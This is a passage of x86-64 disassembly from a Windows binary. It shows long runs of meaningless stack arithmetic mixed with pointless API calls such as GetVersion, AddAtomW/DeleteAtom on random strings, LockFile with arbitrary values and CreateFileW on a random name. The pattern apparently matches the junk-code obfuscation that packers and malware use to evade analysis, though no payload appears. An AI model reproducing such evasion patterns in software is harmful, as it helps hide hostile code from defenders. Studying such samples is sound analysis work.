mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa3f4], eax
mov rax, qword [rsp + 0x136d8]
mov ecx, dword [0x140363a1c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa98c], eax
mov eax, dword [rsp + 0xa8f8]
mov dword [rsp + 0xaa20], eax
mov rax, qword [rsp + 0x13468]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5fb]
sub eax, ecx
mov byte [rsp + 0x6c1], al
movzx eax, word [rsp + 0x12b8]
mov rcx, qword [rsp + 0x13500]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x299c], ax
lea rax, [rsp + 0x2a38]
mov qword [rsp + 0x13998], rax
mov rax, qword [rsp + 0x13560]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13918]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x40c], al
mov eax, dword [rsp + 0x6b80]
mov ecx, dword [0x140363a18]
and ecx, eax
mov eax, ecx
mov dword [0x140363a20], eax
mov eax, dword [rsp + 0x8a08]
mov dword [rsp + 0xaa24], eax
movzx eax, byte [rsp + 0x6b9]
movzx ecx, byte [rsp + 0x11c]
sub eax, ecx
mov rcx, qword [rsp + 0x137b8]
mov byte [rcx], al
movzx eax, word [rsp + 0x251c]
movzx ecx, word [rsp + 0x29f8]
add eax, ecx
mov rcx, qword [rsp + 0x13500]
mov word [rcx], ax
lea rax, [rsp + 0x8b00]
mov qword [rsp + 0x139a0], rax
mov rax, qword [rsp + 0x13438]
mov rcx, qword [rsp + 0x137c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b80], eax
mov eax, dword [rsp + 0xa98c]
mov ecx, dword [0x140363a60]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8db4], eax
mov rax, qword [rsp + 0x137f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13588]
mov qword [rsp + 0x139a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x139a8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13418]
mov dword [rcx], eax
lea rax, [rsp + 0x6b8]
mov qword [rsp + 0x139b0], rax
movzx eax, word [rsp + 0x1e64]
mov rcx, qword [rsp + 0x13480]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140362afc], ax
mov rax, qword [rsp + 0x13738]
mov ecx, dword [rsp + 0xa868]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6304], eax
mov eax, dword [rsp + 0xa980]
mov ecx, dword [rsp + 0xa9b0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13418]
mov eax, dword [rax]
mov dword [rsp + 0xaa28], eax
lea rdx, [rsp + 0x45b98]
mov rcx, qword [rsp + 0x13968]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaa10], eax
mov dword [rsp + 0x20], 0x19ae
mov r9d, 0x2e16
mov r8d, 0x14e1
mov edx, 0x3890
mov rcx, qword [rsp + 0x13990]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xaa2c], eax
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x73a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13760]
mov dword [rcx], eax
lea rax, [rsp + 0x96a4]
mov qword [rsp + 0x139b8], rax
movsx eax, word [rsp + 0x2a28]
movsx ecx, word [rsp + 0x1868]
add eax, ecx
mov rcx, qword [rsp + 0x13950]
mov word [rcx], ax
lea rcx, [0x14032ff30]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2a08], ax
mov rax, qword [rsp + 0x13390]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f6]
and eax, ecx
mov byte [rsp + 0x5fd], al
movzx eax, word [rsp + 0x2888]
mov rcx, qword [rsp + 0x132f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x17d4], ax
lea rax, [rsp + 0x4bc]
mov qword [0x140363a98], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa870], eax
mov rax, qword [0x140363950]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8e4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8c4], eax
lea rax, [rsp + 0x64f0]
mov qword [rsp + 0x139c0], rax
mov rax, qword [rsp + 0x13768]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13208]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13838]
mov word [rcx], ax
mov rax, qword [rsp + 0x13458]
movzx eax, byte [rax]
movzx ecx, byte [0x14035e4a6]
sub eax, ecx
mov byte [rsp + 0x5fb], al
lea rax, [rsp + 0xa8fc]
mov qword [rsp + 0x139c8], rax
mov rax, qword [rsp + 0x13350]
mov rcx, qword [rsp + 0x13450]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa8f8], eax
mov eax, dword [rsp + 0xa3f4]
mov dword [rsp + 0xaa30], eax
mov eax, dword [rsp + 0xa4c4]
mov ecx, dword [rsp + 0x8a08]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13960]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa994], eax
lea rax, [rsp + 0x2888]
mov qword [0x140363aa0], rax
movzx eax, byte [rsp + 0x6c4]
mov byte [rsp + 0x6c6], al
mov eax, dword [0x140363a18]
movzx ecx, al
mov eax, dword [rsp + 0xa868]
shl eax, cl
mov dword [rsp + 0xa278], eax
mov rax, qword [rsp + 0x137f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13020]
mov qword [rsp + 0x139d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x139d0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xaa30], eax
lea rax, [rsp + 0x2a10]
mov qword [rsp + 0x139d8], rax
lea rdx, [rsp + 0x45bd0]
mov rcx, qword [rsp + 0x13968]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaa34], eax
movsx eax, byte [rsp + 0x305]
mov rcx, qword [rsp + 0x136a0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x6b0], al
lea rax, [rsp + 0x6c4]
mov qword [rsp + 0x139e0], rax
movzx eax, word [rsp + 0x299c]
movzx ecx, word [rsp + 0x17d4]
or eax, ecx
mov word [rsp + 0x2a30], ax
mov rax, qword [0x140363978]
mov ecx, dword [rsp + 0x99e8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13370]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13588]
mov ecx, dword [rsp + 0xa81c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140363998]
mov dword [rcx], eax
lea rax, [rsp + 0xa928]
mov qword [rsp + 0x139e8], rax
mov rax, qword [0x140363a38]
mov ecx, dword [rsp + 0xa8e4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13488]
mov dword [rcx], eax
lea rax, [rsp + 0x9a80]
mov qword [rsp + 0x139f0], rax
movzx ecx, word [rsp + 0x2a08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a20], ax
movzx eax, byte [rsp + 0x6c1]
movzx ecx, byte [rsp + 0x6b7]
add eax, ecx
mov byte [rsp + 0x22a], al
movzx eax, word [0x140362b7c]
movzx ecx, word [rsp + 0x29a4]
and eax, ecx
mov word [rsp + 0x29ec], ax
lea rax, [rsp + 0x920c]
mov qword [rsp + 0x139f8], rax
mov rax, qword [rsp + 0x13978]
mov ecx, dword [rsp + 0xa970]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x132a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13748]
mov ecx, dword [rsp + 0xa930]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6788], eax
mov rax, qword [rsp + 0x139c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d60]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x1403639a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13758]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1778]
add eax, ecx
mov word [rsp + 0x12b8], ax
lea rdx, [rsp + 0x45b98]
mov rcx, qword [rsp + 0x13848]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaa38], eax
movzx eax, byte [rsp + 0x6b9]
movzx ecx, byte [rsp + 0x6b5]
sub eax, ecx
mov rcx, qword [rsp + 0x13558]
mov byte [rcx], al
lea rax, [rsp + 0x6b2]
mov qword [rsp + 0x13a00], rax
mov r9d, 2
lea r8, [rsp + 0x133a8]
mov rdx, qword [rsp + 0x13a08]
mov rcx, qword [rsp + 0x13968]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa9fc], eax
movsx eax, word [rsp + 0x235c]
movsx ecx, word [rsp + 0x1868]
cdq
idiv ecx
mov word [rsp + 0x2a0c], ax
lea rax, [rsp + 0xa868]
mov qword [rsp + 0x13a10], rax
lea rdx, [rsp + 0x45bd0]
mov rcx, qword [rsp + 0x13310]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa7c4], eax
mov rax, qword [rsp + 0x136a8]
mov rcx, qword [rsp + 0x13828]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa93c], eax
lea rax, [0x14035e4a4]
mov qword [rsp + 0x13a18], rax
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29cc]
shl eax, cl
mov word [rsp + 0x2a00], ax
mov rax, qword [rsp + 0x13820]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7a08]
shr eax, cl
mov dword [0x14035cc0c], eax
mov rax, qword [0x140363a00]
mov ecx, dword [rsp + 0xa904]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa850], eax
movzx ecx, word [rsp + 0x2998]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a48], ax
mov eax, dword [rsp + 0xa9d8]
mov dword [rsp + 0xaa3c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa8e0], eax
mov eax, dword [0x140363a20]
mov ecx, dword [rsp + 0xa278]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9c8], eax
lea rax, [rsp + 0x2a30]
mov qword [rsp + 0x13a20], rax
movzx eax, byte [rsp + 0x6b8]
movzx ecx, byte [rsp + 0x4bc]
and eax, ecx
mov byte [rsp + 0x68e], al
mov eax, dword [0x140363a60]
mov ecx, dword [rsp + 0xaa3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7970], eax
mov rax, qword [rsp + 0x135b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d90], eax
mov eax, dword [rsp + 0xa9dc]
mov ecx, dword [rsp + 0xa8a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8f8], eax
mov rax, qword [0x1403639d8]
mov rcx, qword [rsp + 0x136a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140363a70], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7c8], eax
mov eax, dword [rsp + 0xa8c0]
mov dword [rsp + 0xaa40], eax
mov rax, qword [rsp + 0x13428]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13378]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13950]
mov word [rcx], ax
mov rax, qword [0x140363a08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6c2]
or eax, ecx
mov rcx, qword [rsp + 0x13390]
mov byte [rcx], al
movzx eax, word [rsp + 0x1778]
movzx ecx, word [rsp + 0x298c]
sub eax, ecx
mov word [rsp + 0x23cc], ax
movzx eax, byte [rsp + 0x23c]
mov rcx, qword [rsp + 0x133f0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x138b0]
mov byte [rcx], al
mov eax, dword [rsp + 0xa97c]
mov dword [rsp + 0xaa44], eax
mov eax, dword [rsp + 0x7dac]
movzx ecx, al
mov eax, dword [rsp + 0x6b2c]
shl eax, cl
mov dword [rsp + 0xa914], eax
mov rax, qword [rsp + 0x132f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x23cc]
xor eax, ecx
mov rcx, qword [rsp + 0x13400]
mov word [rcx], ax
lea rax, [rsp + 0x6c4]
mov qword [0x140363aa8], rax
lea rax, [rsp + 0x75f0]
mov qword [rsp + 0x13a28], rax
lea rdx, [rsp + 0x45c78]
mov rcx, qword [rsp + 0x130e0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaa38], eax
lea rcx, [rsp + 0x41a48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x138a8]
mov ecx, dword [rsp + 0x7b30]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa974], eax
mov rax, qword [rsp + 0x13658]
mov eax, dword [rax]
mov dword [rsp + 0xaa48], eax
mov eax, dword [rsp + 0xa7dc]
mov ecx, dword [rsp + 0x965c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x135d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13240]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x21e4], ax
movzx eax, byte [rsp + 0x5fb]
movzx ecx, byte [rsp + 0x6be]
sub eax, ecx
mov byte [rsp + 0x51b], al
mov eax, dword [0x1403639b8]
mov ecx, dword [rsp + 0xa398]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x71c4], eax
mov r9d, 0x2135
xor r8d, r8d
lea rdx, [rsp + 0x13600]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa7bc], eax
mov rax, qword [rsp + 0x13748]
mov eax, dword [rax]
mov dword [rsp + 0xaa4c], eax
lea rax, [rsp + 0x2a40]
mov qword [0x140363ab0], rax
movsx eax, byte [rsp + 0x628]
movsx ecx, byte [rsp + 0x6bf]
sub eax, ecx
mov rcx, qword [rsp + 0x132e8]
mov byte [rcx], al
xor r9d, r9d
lea r8, [rsp + 0x13058]
mov rdx, qword [rsp + 0x12f98]
mov rcx, qword [rsp + 0x130e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa50], eax
movzx eax, byte [0x14035e4a6]
mov rcx, qword [rsp + 0x13518]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3b7], al
mov rax, qword [rsp + 0x132c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19f8]
sub eax, ecx
mov rcx, qword [rsp + 0x13420]
mov word [rcx], ax
movzx ecx, word [rsp + 0x2a08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2998], ax
mov rax, qword [rsp + 0x13790]
mov ecx, dword [rsp + 0x898c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x137d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13a10]
mov eax, dword [rax]
mov dword [rsp + 0xaa54], eax
mov rax, qword [rsp + 0x13538]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa93c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7200], eax
mov rax, qword [rsp + 0x132e0]
mov eax, dword [rax]
mov dword [rsp + 0xaa58], eax
mov eax, dword [rsp + 0xa8ec]
mov ecx, dword [rsp + 0x8db4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9d4], eax
mov rax, qword [rsp + 0x13368]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x131f8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x13740]
mov byte [rcx], al
mov rax, qword [rsp + 0x13758]
movzx eax, word [rax]
movzx ecx, word [0x140362b9c]
shl eax, cl
mov word [0x140362bdc], ax
lea rcx, str.PMXNbAaIFVNKd4f
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2a4c], ax
mov rax, qword [rsp + 0x13280]
mov rcx, qword [rsp + 0x13290]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7a10], eax
mov rax, qword [rsp + 0x13658]
mov ecx, dword [0x1403639bc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa350], eax
mov eax, dword [rsp + 0xa974]
mov dword [rsp + 0xaa5c], eax
mov rax, qword [rsp + 0x13908]
mov rcx, qword [rsp + 0x133d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13668]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6be]
mov rcx, qword [rsp + 0x133e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x594], al
mov rax, qword [rsp + 0x137e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e64]
or eax, ecx
mov rcx, qword [rsp + 0x132c8]
mov word [rcx], ax
movsx eax, word [rsp + 0x235c]
mov rcx, qword [rsp + 0x130e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a2c], ax
movzx eax, byte [rsp + 0x305]
mov byte [rsp + 0x6c7], al
mov rax, qword [rsp + 0x13620]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6304]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140363a80]
mov dword [rcx], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2565
mov r9d, 0x10e6
mov r8d, 0xfcb10cdf
mov edx, 1
mov rcx, qword [rsp + 0x13700]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa968], eax
mov rax, qword [rsp + 0x134a8]
mov ecx, dword [rsp + 0xa724]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x133a0]
mov dword [rcx], eax
lea rax, [0x14035e48e]
mov qword [rsp + 0x13a30], rax
mov rax, qword [rsp + 0x13480]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29b8]
sub eax, ecx
mov rcx, qword [rsp + 0x132c8]
mov word [rcx], ax
lea rdx, [rsp + 0x45cb0]
mov rcx, qword [rsp + 0x134e8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaa50], eax
mov eax, dword [rsp + 0xa8ec]
mov ecx, dword [rsp + 0xa974]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x96e4], eax
lea rdx, [rsp + 0x137c8]
mov rcx, qword [rsp + 0x13968]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa940], eax
lea rax, [rsp + 0xa78c]
mov qword [rsp + 0x13a38], rax
mov rax, qword [rsp + 0x13610]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7200]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13728]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa398]
mov dword [rsp + 0xaa60], eax
movzx eax, byte [rsp + 0x65d]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13630]
mov byte [rcx], al
lea rax, [rsp + 0x29e4]
mov qword [0x140363ab8], rax
mov rax, qword [rsp + 0x13a10]
mov ecx, dword [rsp + 0xa948]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa87c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov eax, dword [rsp + 0x7dac]
mov ecx, dword [rsp + 0x73a8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bc0], eax
mov rax, qword [rsp + 0x134a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13680]
mov qword [rsp + 0x13a40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13a40]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa974], eax
lea rax, [rsp + 0x81a0]
mov qword [rsp + 0x13a48], rax
mov rax, qword [rsp + 0x139f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140363a64]
shl eax, cl
mov dword [rsp + 0xa950], eax
mov rax, qword [rsp + 0x13950]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x130e8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x139d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13830]
movzx eax, byte [rax]
mov byte [rsp + 0x6c8], al
movzx eax, word [rsp + 0x298c]
mov rcx, qword [rsp + 0x132f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x19f8], ax
lea rax, [rsp + 0x23b]
mov qword [0x140363ac0], rax
lea rax, [rsp + 0xa7dc]
mov qword [rsp + 0x13a50], rax
mov eax, dword [rsp + 0xa990]
mov ecx, dword [rsp + 0xa988]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132c0]
mov dword [rcx], eax
lea rax, [rsp + 0x256]
mov qword [rsp + 0x13a58], rax
mov rax, qword [rsp + 0x13398]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a6c]
add eax, ecx
mov word [rsp + 0x29ec], ax
mov rax, qword [0x140363a00]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13578]
mov dword [rcx], eax
mov rax, qword [rsp + 0x133b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x64f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7dfc], eax
mov rax, qword [rsp + 0x13610]
mov rcx, qword [0x140363998]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8a08], eax
lea rax, [rsp + 0xa93c]
mov qword [rsp + 0x13a60], rax
lea rcx, str.tXKZt4C.4
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2a50], ax
mov rax, qword [rsp + 0x13548]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b8]
sub eax, ecx
mov rcx, qword [0x1403639c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x134d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x29a4], ax
lea rdx, [rsp + 0x13058]
mov rcx, qword [rsp + 0x137b0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa910], eax
mov rax, qword [rsp + 0x13280]
mov ecx, dword [rsp + 0xa960]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa8a0], eax
lea rax, [rsp + 0xa95c]
mov qword [rsp + 0x13a68], rax
movsx eax, word [0x140362bf4]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x130e8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa788], eax
lea rax, [rsp + 0x6b0]
mov qword [rsp + 0x13a70], rax
mov rax, qword [rsp + 0x13500]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x135e8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x135f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xb4]
mov rcx, qword [rsp + 0x13a30]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x6b8], al
lea rax, [rsp + 0xa7dc]
mov qword [rsp + 0x13a78], rax
lea rax, [rsp + 0xa9b4]
mov qword [0x140363ac8], rax
mov rax, qword [rsp + 0x135d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6554]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa60], eax
lea rax, [rsp + 0x7a08]
mov qword [rsp + 0x13a80], rax
mov rax, qword [rsp + 0x13970]
mov ecx, dword [rsp + 0x8b00]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x132d0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x298c]
mov word [rsp + 0x2a54], ax
mov rax, qword [rsp + 0x133c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb4]
sub eax, ecx
mov byte [rsp + 0x6c5], al
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa3f4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13508]
mov dword [rcx], eax
lea rax, [rsp + 0xa8e4]
mov qword [rsp + 0x13a88], rax
mov rax, qword [rsp + 0x13728]
mov ecx, dword [rsp + 0x8a08]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13300]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaa14]
mov ecx, dword [rsp + 0x8b00]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140363a00]
mov dword [rcx], eax
lea rax, [rsp + 0x29f0]
mov qword [rsp + 0x13a90], rax
movzx eax, byte [rsp + 0x256]
movzx ecx, byte [rsp + 0x6c5]
or eax, ecx
mov rcx, qword [rsp + 0x13368]
mov byte [rcx], al
mov rax, qword [rsp + 0x13830]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6bb]
sub eax, ecx
mov byte [rsp + 0x6bd], al
lea rax, [rsp + 0x2a1c]
mov qword [rsp + 0x13a98], rax
mov eax, dword [rsp + 0xa8d0]
mov ecx, dword [rsp + 0xa988]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7118], eax
mov eax, dword [rsp + 0xa900]
mov dword [rsp + 0xaa64], eax
mov rax, qword [rsp + 0x134d8]
movzx eax, word [rax]
mov rcx, qword [0x140363ab8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2888], ax
mov rax, qword [rsp + 0x133f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b5]
add eax, ecx
mov rcx, qword [rsp + 0x13430]
mov byte [rcx], al
mov eax, dword [rsp + 0xa944]
mov rcx, qword [rsp + 0x138d8]
mov qword [rsp + 0x13aa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13aa0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [0x140363a80]
mov dword [rcx], eax
lea rax, [rsp + 0xaa30]
mov qword [rsp + 0x13aa8], rax
mov rax, qword [rsp + 0x13090]
mov ecx, dword [rsp + 0x81b4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7c34], eax
mov rax, qword [0x140363968]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9e54]
shr eax, cl
mov dword [rsp + 0x7c88], eax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x13888]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x22a], al
mov rax, qword [rsp + 0x13948]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13500]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13838]
mov word [rcx], ax
mov eax, dword [0x140363a70]
mov dword [rsp + 0xaa68], eax
mov eax, dword [rsp + 0x6b2c]
mov ecx, dword [rsp + 0xa9b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7dac], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.jddv6jwPuv7UGNVls0HCkqeU
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13ab0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa8e0], eax
mov rax, qword [rsp + 0x13438]
mov rcx, qword [rsp + 0x13620]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x924c], eax
lea rax, [0x140363960]
mov qword [0x140363ad0], rax
mov rax, qword [rsp + 0x13328]
mov ecx, dword [rsp + 0xa998]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13328]
mov dword [rcx], eax
lea rax, [rsp + 0x6c7]
mov qword [rsp + 0x13ab8], rax
movsx eax, word [rsp + 0x2a3c]
movsx ecx, word [rsp + 0x197c]
and eax, ecx
mov rcx, qword [rsp + 0x13998]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6b3]
movzx ecx, byte [rsp + 0x6c1]
add eax, ecx
mov byte [rsp + 0x6b7], al
mov rax, qword [rsp + 0x13a90]
movzx eax, word [rax]
mov word [rsp + 0x2a58], ax
mov eax, dword [rsp + 0xa97c]
mov ecx, dword [0x14035cbd8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13350]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa984]
mov ecx, dword [rsp + 0xa184]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9500], eax
movzx eax, word [rsp + 0x29a0]
movzx ecx, word [0x14035cbe0]
sub eax, ecx
mov word [rsp + 0x29a8], ax
mov rax, qword [rsp + 0x133f0]
movzx eax, byte [rax]
mov byte [0x14035e4d5], al
mov rax, qword [rsp + 0x13358]
mov rcx, qword [rsp + 0x13620]
